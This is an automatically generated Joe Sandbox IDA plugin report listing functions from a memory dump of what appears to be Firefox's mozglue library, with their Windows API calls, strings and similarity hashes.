GetSystemInfo.KERNEL32 ref: 6CF2ACCD
MapViewOfFile.KERNEL32 ref: 6CF2AD05
UnmapViewOfFile.KERNEL32 ref: 6CF2AD1C
CloseHandle.KERNEL32 ref: 6CF2AD28
UnmapViewOfFile.KERNEL32 ref: 6CF2AD37
CloseHandle.KERNEL32 ref: 6CF2AD43
CloseHandle.KERNEL32 ref: 6CF2AD67

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 2ec4bdba4c9b57e6800a02d49a9af6bf3be296857591b37e44cdef99b45fbd50
Instruction ID: decddc210913fd46f1160ab411bdf4209be6f28d297fd88d4f92e952ed40c107
Opcode Fuzzy Hash: 2ec4bdba4c9b57e6800a02d49a9af6bf3be296857591b37e44cdef99b45fbd50
Instruction Fuzzy Hash: 76314FB1D047048FDB40BFBCD6487AEBBF0BF95305F01892DE99986212EB749448CB92

Function 6CEC1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF4E784), ref: 6CEC1EC1
LeaveCriticalSection.KERNEL32(6CF4E784), ref: 6CEC1EE1
EnterCriticalSection.KERNEL32(6CF4E744), ref: 6CEC1F38
LeaveCriticalSection.KERNEL32(6CF4E744), ref: 6CEC1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CEC1F83
LeaveCriticalSection.KERNEL32(6CF4E784), ref: 6CEC1FC0
EnterCriticalSection.KERNEL32(6CF4E784), ref: 6CEC1FE2
LeaveCriticalSection.KERNEL32(6CF4E784), ref: 6CEC1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CEC2019

Strings

MOZ_CRASH(), xrefs: 6CEC2000

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: df471d63db6c691830c4de4bb2b9dc2a632598c737ed9d96e95132dcf0af681b
Instruction ID: 6bc39752e2230f42173cd8951e919f194c02a97b453dfa454ea913a5282ed105
Opcode Fuzzy Hash: df471d63db6c691830c4de4bb2b9dc2a632598c737ed9d96e95132dcf0af681b
Instruction Fuzzy Hash: 4F41F475F043158BDF40EFB8C885BAE7AB5EF5A31CF248029E92497742D77198048BD2

Function 6CED7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CED7EA7
malloc.MOZGLUE(00000001), ref: 6CED7EB3

Part of subcall function 6CEDCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CEDCB49
Part of subcall function 6CEDCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CEDCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CED7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CED7F19
malloc.MOZGLUE(?), ref: 6CED7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CED7F4D

Strings

d, xrefs: 6CED7F89

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 12bce11b6feb21dd9a1f57aad2d4560fd1ee4fbff2d3795f7c3f892b01f4ee82
Instruction ID: 4eb8b8fd6667a1204772f4d0a8148ef569641ec4c98eba0fe2f9a6e2432da377
Opcode Fuzzy Hash: 12bce11b6feb21dd9a1f57aad2d4560fd1ee4fbff2d3795f7c3f892b01f4ee82
Instruction Fuzzy Hash: 6E311861E1035897DB00DB28CC04AFEB779EF9620CF159628DD4997612FB70E5C8C391

Function 6CED3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CED3EEE
RtlFreeHeap.NTDLL ref: 6CED3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CED4006
RtlFreeHeap.NTDLL ref: 6CED40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CED3CCC), ref: 6CED40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CED3CCC), ref: 6CED40C2
RtlFreeHeap.NTDLL ref: 6CED4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CED3CCC), ref: 6CED4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CED3CCC), ref: 6CED4157

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 3c182b3fc6529767768f0b88c1b73a0f2d1e0231d6ac1a9ee7ef1927944d74fe
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 49A180B1A00215CFDB40DF28C880699B7B5FF58308F3A419AD909AF742D771E887CBA1

Function 6CF19D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF18273), ref: 6CF19D65
free.MOZGLUE(6CF18273,?), ref: 6CF19D7C
free.MOZGLUE(?,?), ref: 6CF19D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CF19E0F
free.MOZGLUE(6CF1946B,?,?), ref: 6CF19E24
free.MOZGLUE(?,?,?), ref: 6CF19E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CF19EC8
free.MOZGLUE(6CF1946B,?,?,?), ref: 6CF19EDF
free.MOZGLUE(?,?,?,?), ref: 6CF19EF5

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 16e728192929156df8e575e00323d8dfa8ed960817a7377ee4c3ee64aefd5c17
Instruction ID: 17a10fc33892ad561b8472910916137e759d546e03e4d94f1d3be3370ba76e41
Opcode Fuzzy Hash: 16e728192929156df8e575e00323d8dfa8ed960817a7377ee4c3ee64aefd5c17
Instruction Fuzzy Hash: 53719DB090AB418BD712CF18C48059BF3F4FF99315B54865DE89A9BB12EB30E985CBD1

Function 6CF1DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CF1DDCF

Part of subcall function 6CEFFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEFFA4B

Part of subcall function 6CF190E0: free.MOZGLUE(?,00000000,?,?,6CF1DEDB), ref: 6CF190FF
Part of subcall function 6CF190E0: free.MOZGLUE(?,00000000,?,?,6CF1DEDB), ref: 6CF19108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF1DE0D
free.MOZGLUE(00000000), ref: 6CF1DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF1DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF1DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF1DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CF0DEFD,?,6CED4A68), ref: 6CF1DF32

Part of subcall function 6CF1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CF1DB86
Part of subcall function 6CF1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CF1DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CF0DEFD,?,6CED4A68), ref: 6CF1DF65
free.MOZGLUE(?), ref: 6CF1DF80

Part of subcall function 6CEE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEE5EDB
Part of subcall function 6CEE5E90: memset.VCRUNTIME140(6CF27765,000000E5,55CCCCCC), ref: 6CEE5F27
Part of subcall function 6CEE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CEE5FB2

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 3b78e8695e4e86300e2f44a49012a614a51fcaf9abbe17cca4829e10f9e1293d
Instruction ID: 80de6aaa943ac79f0cb7decb502895063478672470134d29eb071a29fcc7cf41
Opcode Fuzzy Hash: 3b78e8695e4e86300e2f44a49012a614a51fcaf9abbe17cca4829e10f9e1293d
Instruction Fuzzy Hash: F751D672A096019BD7229B28C8807EFB3B6BFA5349F95011CD81A53F11DB31F919CB82

Function 6CF25D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CF25C8C,?,6CEFE829), ref: 6CF25D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CF25C8C,?,6CEFE829), ref: 6CF25D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CF25C8C,?,6CEFE829), ref: 6CF25D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CF25C8C,?,6CEFE829), ref: 6CF25D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CF25C8C,?,6CEFE829), ref: 6CF25DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CF25C8C,?,6CEFE829), ref: 6CF25DC9
std::_Facet_Register.LIBCPMT ref: 6CF25DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CF25C8C,?,6CEFE829), ref: 6CF25E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CF25C8C,?,6CEFE829), ref: 6CF25E45

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 4b47bea14940fa66c9273ae9afc8a907bbb32fd591c55830a27c84c3a7ff53d2
Instruction ID: f86f0f8fc66365936d8a65ce143267d9f1c41ae63e514e6215c97e39a593ade5
Opcode Fuzzy Hash: 4b47bea14940fa66c9273ae9afc8a907bbb32fd591c55830a27c84c3a7ff53d2
Instruction Fuzzy Hash: 7E418330B042059FCB40EFA9C898BAE77B5EF89318F544468D50A97796EB78DC05CF61

Function 6CEFCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CEC31A7), ref: 6CEFCDDD

Strings

<jemalloc>, xrefs: 6CEFCF9F, 6CEFCFB3
: (malloc) Error in VirtualFree(), xrefs: 6CEFCFA4, 6CEFCFB8

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 79cd9a682c466dcdc61d2abe563b4162d19eeb0ae89e9754d8796d90d16818c0
Instruction ID: ddd5bf5f2395f5e2f2f8a4fa01dffd52c462d2303ca6bf006944601b333aee89
Opcode Fuzzy Hash: 79cd9a682c466dcdc61d2abe563b4162d19eeb0ae89e9754d8796d90d16818c0
Instruction Fuzzy Hash: 0331A531B502055BFF24AEA58C46BBE7BB5AB8176CF308414F634ABBC1DB71D50287A1

Function 6CECECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CECF100: LoadLibraryW.KERNEL32(shell32,?,6CF3D020), ref: 6CECF122
Part of subcall function 6CECF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CECF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CECED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CECEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CECEDCC
CreateFileW.KERNEL32 ref: 6CECEE08
free.MOZGLUE(00000000), ref: 6CECEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CECEE32

Part of subcall function 6CECEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CECEBB5
Part of subcall function 6CECEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CEFD7F3), ref: 6CECEBC3
Part of subcall function 6CECEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CEFD7F3), ref: 6CECEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CECEDC1

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: f097663a30f2475fc6b254cdd89a7e462f73223fd11a32d4cddbc54cbf3272ed
Instruction ID: d2b695af29a333be98cd7b4488454824e2e67481b002e61a84e2ddb7af73c0ad
Opcode Fuzzy Hash: f097663a30f2475fc6b254cdd89a7e462f73223fd11a32d4cddbc54cbf3272ed
Instruction Fuzzy Hash: 8351EE71E056148FDB00DF68CA426AEBBB0AF5935CF24842DE8656B781E7306949C7A3

Function 6CF3A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CF3A565

Part of subcall function 6CF3A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF3A4BE
Part of subcall function 6CF3A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF3A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CF3A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CF3A6B6

Strings

0, xrefs: 6CF3A5FB
z, xrefs: 6CF3A6AE

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: ff723420e4b79f48be6bd6f11e99d5dcd6ae057aaafb8a9298d8d679396e5ce4
Instruction ID: 24dda4054b09a7f58b737f9593562dfa859e24084fc58b66c42a5e9dceb3a3c5
Opcode Fuzzy Hash: ff723420e4b79f48be6bd6f11e99d5dcd6ae057aaafb8a9298d8d679396e5ce4
Instruction Fuzzy Hash: 23414771A09745AFC741DF29C080A8FBBF5BF89344F509A2EF49987650EB30D549CB92

Function 6CF09420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CEFAB89: EnterCriticalSection.KERNEL32(6CF4E370,?,?,?,6CEC34DE,6CF4F6CC,?,?,?,?,?,?,?,6CEC3284), ref: 6CEFAB94
Part of subcall function 6CEFAB89: LeaveCriticalSection.KERNEL32(6CF4E370,?,6CEC34DE,6CF4F6CC,?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEFABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CED4A68), ref: 6CF0945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF09470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF09482
__Init_thread_footer.LIBCMT ref: 6CF0949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CF0947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CF09459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CF0946B

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 71c5b01c390e4fa7756b5eaf1ef84e8b7a87eb6b7186d8e4ccddd5c2b78f9039
Instruction ID: 2b1a641d3b0eec6d372226148cf6f04df4e48fe013bdd17d3f799d4efe2ecd53
Opcode Fuzzy Hash: 71c5b01c390e4fa7756b5eaf1ef84e8b7a87eb6b7186d8e4ccddd5c2b78f9039
Instruction Fuzzy Hash: 54016834F0010087D780AB5CD820B4637B49B0176DF15C536EC0AC6B53FE27D9658957

Function 6CF3B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CF3B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CF3B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CF3B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CF3B5F4
__Init_thread_footer.LIBCMT ref: 6CF3B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CF3B61F
std::_Facet_Register.LIBCPMT ref: 6CF3B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3B655

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: e61736ebe68aab4776aba646755b61093dce23a383a1c3f2eec6201f6ae3bce8
Instruction ID: b423fa5440afec365fd74924688b991805c4d159ad3a31af7662264b9ecede2b
Opcode Fuzzy Hash: e61736ebe68aab4776aba646755b61093dce23a383a1c3f2eec6201f6ae3bce8
Instruction Fuzzy Hash: 6E31D571F00514CBCB80EF68C854BAEB7B5FF95329B144969D91A97742DB30A806CBD1

Function 6CEFD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CECEB57,?,?,?,?,?,?,?,?,?), ref: 6CEFD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CECEB57,?), ref: 6CEFD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CECEB57,?), ref: 6CEFD673
free.MOZGLUE(?), ref: 6CEFD888

Strings

|Enabled, xrefs: 6CEFD81E
Wl, xrefs: 6CEFD5D9, 6CEFD63F

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wl$|Enabled
API String ID: 4142949111-4149612105
Opcode ID: a05d40e36e36fbfcc977da329d1f97d09b8274ad690b7d4308803bbf336aef5f
Instruction ID: 043c2b93d695f33e5fe4bf1bfb296f12bb9684db1919f17d721e7f34cbf17697
Opcode Fuzzy Hash: a05d40e36e36fbfcc977da329d1f97d09b8274ad690b7d4308803bbf336aef5f
Instruction Fuzzy Hash: 89A10774A043489FDB11CF69C4807EEBFF1AF49318F24805CD8A96B742D735A946CBA1

Function 6CF11D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF11D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CF11BE3,?,?,6CF11D96,00000000), ref: 6CF11D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CF11BE3,?,?,6CF11D96,00000000), ref: 6CF11D4C
GetCurrentThreadId.KERNEL32 ref: 6CF11DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF11DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF11DDA

Part of subcall function 6CF11EF0: GetCurrentThreadId.KERNEL32 ref: 6CF11F03
Part of subcall function 6CF11EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CF11DF2,00000000,00000000), ref: 6CF11F0C
Part of subcall function 6CF11EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CF11F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CF11DF4

